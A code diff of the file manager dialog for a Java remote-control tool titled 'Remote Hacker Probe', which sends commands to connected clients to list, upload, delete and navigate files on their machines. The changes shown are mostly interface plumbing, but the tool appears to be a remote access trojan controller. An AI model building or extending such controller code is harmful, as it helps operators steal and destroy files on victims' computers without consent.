5151import javax .swing .JComboBox ;
5252
5353
54+
55+
5456class IconRenderer extends DefaultListCellRenderer {
5557
58+
5659 String [] video_ext = {
5760 "mp4" ,
5861 "avi" ,
@@ -253,14 +256,29 @@ else if(Arrays.asList(txt).contains(ext))
253256
254257
255258public class FileManager extends JDialog {
259+
260+
256261
257262 public final static JPanel contentPanel = new JPanel ();
258263 static JList FileList ;
259264 public int CLIENT_ID ;
265+ public static StringBuilder SelectedFile = new StringBuilder ("" );
260266 public static JTextField textField ;
261267 public static DefaultListModel model ;
262268 public static List <String > driveslist = new ArrayList <String >();
269+
270+ public static Boolean FileMgrOpen = false ;
271+
272+ public static void DisableFileManager ()
273+ {
274+ FileManager .FileList .setEnabled (false );
275+ }
263276
277+ public static void EnableFileManager ()
278+ {
279+ FileManager .FileList .setEnabled (true );
280+ }
281+
264282 /**
265283 * Create the dialog.
266284 */
@@ -278,6 +296,8 @@ void Refresh()
278296
279297
280298 public FileManager () {
299+
300+ MainWindow .HaltAllSystems ();
281301 setDefaultCloseOperation (JDialog .DISPOSE_ON_CLOSE );
282302 setTitle ("Remote Hacker Probe | File Manager" );
283303 setBounds (100 , 100 , 761 , 410 );
@@ -318,6 +338,8 @@ public void actionPerformed(ActionEvent e) {
318338 String File = (String ) FileList .getSelectedValue ();
319339 if (!File .startsWith ("(^)" )) {
320340 String filename = File .replaceAll ("\\ (.*?\\ ) ?" , "" );
341+ SelectedFile .replace (0 , SelectedFile .length (), filename );
342+
321343 Server .SendData (Server .Clients .get (CLIENT_ID ), "fupload:" +filename );
322344 ServerThread .WaitForReply ();
323345 }
@@ -390,6 +412,7 @@ public void actionPerformed(ActionEvent e) {
390412 {
391413 String File = (String ) FileList .getSelectedValue ();
392414 if (!File .startsWith ("(^)" )) {
415+ SelectedFile .replace (0 , SelectedFile .length (), File );
393416 String filename = File .replaceAll ("\\ (.*?\\ ) ?" , "" );
394417 Server .SendData (Server .Clients .get (CLIENT_ID ), "delete:" +filename );
395418 ServerThread .WaitForReply ();
@@ -416,6 +439,7 @@ public void mouseClicked(MouseEvent evt) {
416439 String dir = (String ) FileList .getSelectedValue ();
417440 if (dir .startsWith ("(^)" )) {
418441 String Dirname = dir .replace ("(^) " , "" );
442+ SelectedFile .replace (0 , SelectedFile .length (), dir );
419443 Server .SendData (Server .Clients .get (CLIENT_ID ), "cd" );
420444 Server .SendData (Server .Clients .get (CLIENT_ID ), Dirname );
421445 Refresh ();
@@ -438,6 +462,7 @@ public void actionPerformed(ActionEvent e) {
438462 btnGo .addActionListener (new ActionListener () {
439463 public void actionPerformed (ActionEvent e ) {
440464 String Dirname = textField .getText ();
465+ SelectedFile .replace (0 , SelectedFile .length (), Dirname );
441466 Server .SendData (Server .Clients .get (CLIENT_ID ), "cd" );
442467 Server .SendData (Server .Clients .get (CLIENT_ID ), Dirname );
443468 Refresh ();
@@ -505,6 +530,12 @@ public void actionPerformed(ActionEvent e) {
505530 public void windowOpened (WindowEvent we ) {
506531 Server .SendData (Server .Clients .get (CLIENT_ID ), "listdir" );
507532 }
533+
534+ @ Override
535+ public void windowClosed (WindowEvent we ) {
536+ FileMgrOpen = false ;
537+ MainWindow .EnableAllSystems ();
538+ }
508539 });
509540 }
510541}
0 commit comments